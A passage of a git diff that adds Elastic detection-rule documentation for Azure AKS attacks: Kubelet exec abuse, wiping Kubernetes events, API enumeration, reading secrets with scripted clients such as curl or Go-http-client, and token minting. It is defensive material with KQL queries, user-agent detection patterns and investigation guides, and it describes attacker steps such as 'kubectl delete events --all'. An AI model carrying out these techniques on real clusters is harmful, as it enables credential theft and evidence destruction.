keys on the Kubelet +endpoint in `azure.platformlogs.properties.log.requestURI`: `/proxy/run`, `/proxy/exec`, `/proxy/attach`, +`/proxy/portforward`, and `/proxy/cri` execute commands in a pod on the target node, whereas monitoring uses `/metrics` +and `/stats`. Any hit here is high-signal command execution regardless of the acting identity, including a stolen +monitoring service-account token. + + +*Possible investigation steps* + + +- Confirm the endpoint and target in `azure.platformlogs.properties.log.requestURI` (the path encodes + `////`) and the acting identity in + `azure.platformlogs.properties.log.user.username`. +- Evaluate `azure.platformlogs.properties.log.sourceIPs`. This is an array; for an externally operated attack the first + element is the operator's real client IP and the trailing entry is the internal API-server/konnectivity hop + (`172.31.x`). A first entry that is not the cluster's own egress is a strong signal. +- Determine what the target pod runs and what secrets or tokens it exposes, and whether the identity should reach the + Kubelet at all. +- Correlate with prior recon (`/proxy/pods`, `/proxy/runningpods`) and follow-on RBAC changes, secret reads, or token + requests from the same identity. + + +*False positive analysis* + + +- Direct use of Kubelet exec endpoints via nodes/proxy is uncommon; validate any administrative debugging tool that + proxies exec and exclude verified operators. + + +*Response and remediation* + + +- Treat as active command execution on a node. Revoke the acting identity's tokens, isolate the affected node and pods, + and rotate credentials reachable from them. +- Review the RBAC that granted `nodes/proxy` and remove it from workload identities that do not require it. +- Note that direct Kubelet access on port 10250 bypasses the API server and is not in kube-audit; a confirmed proxy exec + may indicate broader Kubelet access. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs with the `kube-audit` category forwarded through Event Hub into the `azure.platformlogs` data stream is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:"kube-audit" and + azure.platformlogs.properties.log.objectRef.resource:"nodes" and + azure.platformlogs.properties.log.objectRef.subresource:"proxy" and + azure.platformlogs.properties.log.requestURI:( + */proxy/run/* or */proxy/exec* or */proxy/attach* or + */proxy/portforward* or */proxy/portForward* or */proxy/cri/* + ) and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-kubernetes-events-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-kubernetes-events-deleted.asciidoc new file mode 100644 index 0000000000..f5c15be474 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-kubernetes-events-deleted.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-azure-aks-kubernetes-events-deleted]] +=== Azure AKS Kubernetes Events Deleted + +Detects an identity deleting Kubernetes events on AKS (Azure Kubernetes Service), excluding known AKS control-plane and platform identities. Adversaries delete events (individually or in bulk via deletecollection) to remove evidence of pod creation, exec, or scheduling activity and impair incident response after operating in the cluster. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token wiping events is not excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/event-v1/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://learn.microsoft.com/en-us/azure/aks/monitor-aks +* https://kubenomicon.com/Defense_evasion/Delete_events.html + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Kubernetes Events Deleted* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. Kubernetes events record pod +scheduling, image pulls, and other cluster activity. Deleting them (individually with `delete`, or in bulk with +`deletecollection`) outside of known AKS control-plane and platform identities is a defense-evasion step to erase +evidence of prior actions. + + +*Possible investigation steps* + + +- Identify the acting identity in `azure.platformlogs.properties.log.user.username` (and its groups in + `azure.platformlogs.properties.log.user.groups`) and whether it should delete events. A username of `masterclient` + (`system:masters`) is the AKS local cluster-admin certificate; workload service accounts + (`system:serviceaccount::`) deleting events are the higher-concern case. +- Determine the scale from `azure.platformlogs.properties.log.verb`: `deletecollection` is a bulk wipe (e.g. + `kubectl delete events --all`), while `delete` removes a single event. Review the target scope in + `azure.platformlogs.properties.log.objectRef.namespace` / `azure.platformlogs.properties.log.objectRef.name`. +- Inspect `azure.platformlogs.properties.log.userAgent` to distinguish interactive tooling (`kubectl`) from automation + or custom clients, and pivot on `azure.platformlogs.properties.log.sourceIPs` for the activity the deletion may be + concealing (pod creation, exec, RBAC changes). +- Reconstruct the timeline from surviving kube-audit records, which persist independently of the deleted Kubernetes + events. + + +*False positive analysis* + + +- Event cleanup jobs or platform tooling may bulk-delete events; baseline the responsible identities and exclude + verified automation. If a platform control-plane identity (for example an event TTL/garbage-collection component) + surfaces, add that specific identity to the exclusion rather than re-broadening to all `system:*`, which would blind + the rule to compromised workload service accounts. + + +*Response and remediation* + + +- If unauthorized, revoke the acting identity's tokens and review the RBAC that permitted event deletion. +- Use kube-audit history to reconstruct the concealed activity and scope the incident. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs forwarded through Event Hub into the `azure.platformlogs` +data stream is required for this rule. Enable either the `kube-audit` or the `kube-audit-admin` log category (Microsoft +recommends `kube-audit-admin` alone to reduce volume, as it only drops read-only get/list events). Event deletions are +mutating operations recorded in both categories with the same `auditID`, so clusters that enable both categories may +generate two alerts per deletion. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:("kube-audit" or "kube-audit-admin") and + azure.platformlogs.properties.log.stage:"ResponseComplete" and + azure.platformlogs.properties.log.objectRef.resource:"events" and + azure.platformlogs.properties.log.verb:("delete" or "deletecollection") and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-potential-api-enumeration-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-potential-api-enumeration-by-user.asciidoc new file mode 100644 index 0000000000..32c03407cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-potential-api-enumeration-by-user.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-azure-aks-potential-api-enumeration-by-user]] +=== Azure AKS Potential API Enumeration by User + +Detects a single Kubernetes identity in AKS (Azure Kubernetes Service) that is denied (HTTP 403 Forbidden) across multiple distinct API resource types within a short window. Broad authorization failures spanning many resources are a strong signal of API enumeration (reconnaissance with a stolen service account token), as an actor probes what its credentials can reach before privilege escalation. Detection is based on the breadth of denied resources rather than the raw failure count, so single-resource controller retry loops do not trigger it. + +*Rule type*: threshold + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/aks/monitor-aks +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://github.com/inguardians/peirates + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Threshold +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Potential API Enumeration by User* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. This rule groups forbidden +(HTTP 403) Kubernetes API calls by `azure.platformlogs.properties.log.user.username` and alerts when one identity is +denied across several distinct `objectRef.resource` types within the interval. Breadth of denied resources (rather than +raw failure volume) is the signal: an identity probing many resource types it cannot reach is characteristic of API +enumeration with a stolen service account token, whereas a controller stuck retrying one forbidden resource stays on a +single resource and does not trigger. + + +*Possible investigation steps* + + +- Enumerate the distinct `azure.platformlogs.properties.log.objectRef.resource` and + `azure.platformlogs.properties.log.verb` values denied for the identity, and read the human-readable denial in + `azure.platformlogs.properties.log.responseStatus.message` (for example "secrets is forbidden: User ... cannot list + resource"), to see what the actor was mapping out. +- Identify the acting identity in `azure.platformlogs.properties.log.user.username` and its groups in + `azure.platformlogs.properties.log.user.groups`. Service account tokens (`system:serviceaccount::`) probing + broadly are the primary concern; confirm whether that identity should be issuing these calls at all. +- Inspect `azure.platformlogs.properties.log.userAgent` to distinguish interactive tooling (`kubectl`) or a known + controller from custom recon tooling (for example `kubectl-recon`, `curl`, or other enumeration clients). +- Validate the source in `azure.platformlogs.properties.log.sourceIPs`. In-cluster agents use loopback + (`127.0.0.1`/`::1`) or pod-network addresses (e.g. `10.244.0.0/16`); an external caller wielding a service account + token is more suspicious. +- Hunt for later successful calls (`responseStatus.code:2xx`) from the same identity or source that indicate the actor + found a permitted action or escalated, and correlate with recent Entra ID sign-ins or role assignments. + + +*False positive analysis* + + +- A workload or observability agent with partial RBAC can be denied across several resource types and resemble + enumeration. Baseline such identities, raise the cardinality threshold, or exclude the specific validated service + account after review. +- Single-resource retry loops (one resource denied repeatedly, such as a controller watching a resource it lacks + permission for) do not trigger this rule, since detection is based on the count of distinct resources denied. + + +*Response and remediation* + + +- If unauthorized, revoke the identity's tokens and kubeconfig and review the RBAC bindings assigned to it. +- Determine whether any request from the identity succeeded and scope the impact accordingly. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs forwarded through Event Hub into the `azure.platformlogs` +data stream is required for this rule. The `kube-audit` log category is required specifically: authorization denials +during enumeration are predominantly get/list/watch (read) operations, which the `kube-audit-admin` category excludes. +A cluster that ships only `kube-audit-admin` is effectively blind to this rule, since only write-verb denials remain +visible. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:"kube-audit" and + azure.platformlogs.properties.log.stage:"ResponseComplete" and + azure.platformlogs.properties.log.responseStatus.code:"403" and + azure.platformlogs.properties.log.responseStatus.reason:"Forbidden" and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-secret-get-or-list-with-suspicious-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-secret-get-or-list-with-suspicious-user-agent.asciidoc new file mode 100644 index 0000000000..beaa1301b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-secret-get-or-list-with-suspicious-user-agent.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-azure-aks-secret-get-or-list-with-suspicious-user-agent]] +=== Azure AKS Secret get or list with Suspicious User Agent + +Detects successful AKS (Azure Kubernetes Service) secret get or list operations where the user agent matches scripting runtimes (python, ruby, perl), command-line HTTP clients (curl, wget, HTTPie), or generic HTTP libraries (Go-http-client, okhttp, Apache-HttpClient, Guzzle, axios, undici) rather than typical kubectl or named controller traffic. Reading Kubernetes secrets with a generic client is a common credential-access step after a token or kubeconfig is stolen, and offensive tooling (for example peirates and kdigger) frequently reaches the API with a default Go HTTP client. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/configuration/secret/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ +* https://unit42.paloaltonetworks.com/modern-kubernetes-threats/ +* https://www.sysdig.com/blog/teamtnt-kubelet-credentials +* https://github.com/kubernetes/kubernetes/issues/108726 + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Secret get or list with Suspicious User Agent* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. This rule fires when a +successful `get` or `list` against Kubernetes `secrets` is issued with a user agent that matches scripting runtimes +(python, ruby, perl), command-line HTTP clients (curl, wget, HTTPie), or generic HTTP libraries (Go-http-client, okhttp, +Apache-HttpClient, Guzzle, axios, undici) rather than typical `kubectl` or named controller traffic. The user agent is +trivially spoofable (the telemetry shows offensive tooling masquerading as `kubectl`), so this is a corroborating +indicator, not proof. + + +*Possible investigation steps* + + +- Identify the acting identity in `azure.platformlogs.properties.log.user.username` and its group memberships in + `azure.platformlogs.properties.log.user.groups`. Control-plane and node identities (`system:apiserver`, `aksService`, + `system:node:*`, `system:serviceaccount:kube-system:*`) are expected; a human or service-principal identity reading + secrets with a scripted client is not. +- Confirm the request was authorized by checking + `azure.platformlogs.properties.log.annotations.authorization.k8s.io/decision` (`allow` vs `forbid`) and the + `azure.platformlogs.properties.log.responseStatus.code`. +- Review the targeted secret via `azure.platformlogs.properties.log.objectRef.namespace` and + `azure.platformlogs.properties.log.objectRef.name`, and the exact API path in + `azure.platformlogs.properties.log.requestURI`. +- Evaluate the source in `azure.platformlogs.properties.log.sourceIPs`. In-cluster control-plane traffic uses loopback + (`::1`) or node subnet addresses; a public or pod-network source for a secret read is more suspicious. Pivot on the + source for other API bursts, exec sessions, or RBAC changes. +- Correlate with recent Entra ID sign-ins or role assignments for the identity to determine whether the token was + recently issued or scoped unusually. + + +*False positive analysis* + + +- Approved scripts, CI jobs, or penetration tests may use generic HTTP clients. Validate identity scope before treating + as compromise. +- Internal automation using generic libraries can be excluded by stable service account after review. +- The kubelet and controllers built on client-go can default to a `Go-http-client/2.0` user agent when no custom agent + is set (see kubernetes/kubernetes#108726), so an operator or platform component reading secrets may match `Go-http*`. + Exclude the specific benign identity (for example `system:serviceaccount:kube-system:*` or a validated operator + service account) rather than removing the `Go-http*` pattern, which also catches default-user-agent offensive tooling. + + +*Response and remediation* + + +- If unauthorized, revoke the identity's tokens and kubeconfig, rotate the exposed secrets, and review RBAC that permits + secret reads. +- Hunt for downstream use of the retrieved secrets, such as new sign-ins, workload deployments, or outbound connections. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs forwarded through Event Hub into the `azure.platformlogs` +data stream is required for this rule. The `kube-audit` log category is required specifically: secret get/list are +read operations, which the `kube-audit-admin` category excludes, so a cluster shipping only `kube-audit-admin` is blind +to this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:"kube-audit" and + azure.platformlogs.properties.log.responseStatus.code:("200" or "201") and + azure.platformlogs.properties.log.verb:("get" or "list") and + azure.platformlogs.properties.log.objectRef.resource:"secrets" and + azure.platformlogs.properties.log.userAgent:( + curl* or python* or Python* or wget* or Wget* or Go-http* or perl* or libwww-perl* or + java* or Java* or node* or php* or Guzzle* or Bun* or axios* or undici* or okhttp* or + Apache-HttpClient* or HTTPie* or Ruby* or PostmanRuntime* or RestSharp* or *distrib#kali* or *kali-amd64* or *kali-arm64* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-service-account-token-created-via-tokenrequest-api.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-service-account-token-created-via-tokenrequest-api.asciidoc new file mode 100644 index 0000000000..56990cd578 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-service-account-token-created-via-tokenrequest-api.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-azure-aks-service-account-token-created-via-tokenrequest-api]] +=== Azure AKS Service Account Token Created via TokenRequest API + +Detects an identity minting a service account token via the AKS (Azure Kubernetes Service) TokenRequest API (serviceaccounts/token), excluding known AKS control-plane and platform identities. Adversaries request service account tokens from a compromised identity to impersonate a workload, move laterally, or escalate privileges within the cluster. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token minting a token for another service account is not excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://github.com/inguardians/peirates + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Service Account Token Created via TokenRequest API* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. The TokenRequest API +(`serviceaccounts/token`) mints a bound service account token. The kubelet (`system:node:*`) and the +kube-controller-manager (`aksService`) mint these tokens continuously for normal pod operation and are excluded; the +signal is a non-platform identity minting one. An attacker with rights over a service account can request a token to act +as that workload identity, reaching resources the compromised principal cannot. + + +*Possible investigation steps* + + +- Identify the requesting identity in `azure.platformlogs.properties.log.user.username` (and its groups in + `azure.platformlogs.properties.log.user.groups`) and whether it should mint tokens. A workload service account + (`system:serviceaccount::`) minting a token, or `masterclient` (the local cluster-admin cert), is the + higher-concern case. +- Inspect `azure.platformlogs.properties.log.userAgent` to distinguish interactive/expected tooling (`kubectl create + token`) from custom clients (for example `curl`), which is a stronger indicator of scripted abuse. +- Identify the target service account in `azure.platformlogs.properties.log.objectRef.name` / + `azure.platformlogs.properties.log.objectRef.namespace` and what RBAC that account holds; minting a token for a + higher-privileged service account is privilege escalation. +- Evaluate the source in `azure.platformlogs.properties.log.sourceIPs` and pivot on it for follow-on API calls made with + the minted token, and correlate with recent RBAC changes, secret reads, or exec sessions from the same identity. + + +*False positive analysis* + + +- Controllers, CI/CD systems, and platform components legitimately request service account tokens (for example the + kube-controller-manager as `aksService`, which is excluded). Additional automation such as GitOps operators or CI + running `kubectl create token` may surface; baseline those identities and exclude the specific validated account + rather than re-broadening to all `system:*`, which would blind the rule to compromised workload service accounts. + + +*Response and remediation* + + +- If unauthorized, revoke the minted token and the requesting identity's credentials, and review the RBAC that permitted + token creation. +- Audit actions performed with the target service account's identity after the request. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs forwarded through Event Hub into the `azure.platformlogs` +data stream is required for this rule. Enable either the `kube-audit` or the `kube-audit-admin` log category (Microsoft +recommends `kube-audit-admin` alone to reduce volume, as it only drops read-only get/list events). TokenRequest is a +mutating create recorded in both categories with the same `auditID`, so clusters that enable both categories may +generate two alerts per request. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:("kube-audit" or "kube-audit-admin") and + azure.platformlogs.properties.log.stage:"ResponseComplete" and + azure.platformlogs.properties.log.objectRef.resource:"serviceaccounts" and + azure.platformlogs.properties.log.objectRef.subresource:"token" and + azure.platformlogs.properties.log.verb:"create" and + azure.platformlogs.properties.log.responseStatus.code:("200" or "201") and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-suspicious-self-subject-review-by-service-account-or-node-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-suspicious-self-subject-review-by-service-account-or-node-identity.asciidoc new file mode 100644 index 0000000000..bbb0e3e89e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-suspicious-self-subject-review-by-service-account-or-node-identity.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-azure-aks-suspicious-self-subject-review-by-service-account-or-node-identity]] +=== Azure AKS Suspicious Self-Subject Review by Service Account or Node Identity + +Detects AKS (Azure Kubernetes Service) service account or node identities invoking self-subject access or rules review APIs. Non-human identities rarely enumerate their own permissions outside known controllers; this can indicate stolen tokens probing effective RBAC before privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://github.com/inguardians/peirates + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Suspicious Self-Subject Review by Service Account or Node Identity* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. A `selfsubjectaccessreviews` +or `selfsubjectrulesreviews` create lets the caller enumerate its own effective permissions. Service account and node +identities issuing these reviews outside of known controllers can indicate a stolen token mapping out what it can reach. + + +*Possible investigation steps* + + +- Confirm the acting identity in `azure.platformlogs.properties.log.user.username` and its groups in + `azure.platformlogs.properties.log.user.groups`, and whether that service account or node routinely performs + self-subject reviews. Check `azure.platformlogs.properties.log.impersonatedUser.username`: when populated, the review + was issued via impersonation (e.g. `kubectl auth can-i --as=`) and the real actor is the + impersonating user, not the service account in `user.username`. +- Review `azure.platformlogs.properties.log.objectRef.resource` (selfsubjectaccessreviews or selfsubjectrulesreviews) + and the `azure.platformlogs.properties.log.requestObject` to see what access was checked, plus the API path in + `azure.platformlogs.properties.log.requestURI`. Inspect `azure.platformlogs.properties.log.userAgent` to distinguish + interactive tooling (`kubectl`) from custom recon tooling or in-cluster SDKs. +- Evaluate the source in `azure.platformlogs.properties.log.sourceIPs`. Control-plane and in-cluster agents use loopback + (`127.0.0.1`/`::1`) or pod-network addresses (e.g. `10.244.0.0/16`); an external caller wielding a service account + token is more suspicious. Pivot on the source for related API activity, denied requests, exec sessions, or RBAC + changes from the same identity. + + +*False positive analysis* + + +- Known observability or workflow controllers may issue self-subject reviews; extend exclusions for validated + identities. Azure Arc's agent service accounts (`system:serviceaccount:azure-arc:*`) legitimately submit these reviews + and are already excluded; add other validated platform controllers as they are baselined. +- Admin impersonation workflows can trigger this via an impersonated service account; validate the impersonating user in + `azure.platformlogs.properties.log.impersonatedUser.username`. + + +*Response and remediation* + + +- If unauthorized, revoke the service account token and review the RBAC bindings granted to it. +- Correlate with any successful privileged actions the identity performed after the review. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs forwarded through Event Hub into the `azure.platformlogs` +data stream is required for this rule. Enable either the `kube-audit` or the `kube-audit-admin` log category (Microsoft +recommends `kube-audit-admin` alone to reduce volume, as it only drops read-only get/list events). Self-subject review +creates are recorded in both categories with the same `auditID`, so clusters that enable both categories may generate +two alerts per review. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:Microsoft.ContainerService/managedClusters/diagnosticLogs/Read and + azure.platformlogs.category:(kube-audit or kube-audit-admin) and + azure.platformlogs.properties.log.stage:ResponseComplete and + azure.platformlogs.properties.log.verb:create and + azure.platformlogs.properties.log.objectRef.resource:(selfsubjectaccessreviews or selfsubjectrulesreviews) and + azure.platformlogs.properties.log.user.username:((system\:node\:* or system\:serviceaccount\:*) and + not system\:serviceaccount\:azure-arc\:*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc new file mode 100644 index 0000000000..de749c3d0a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc @@ -0,0 +1,141 @@ 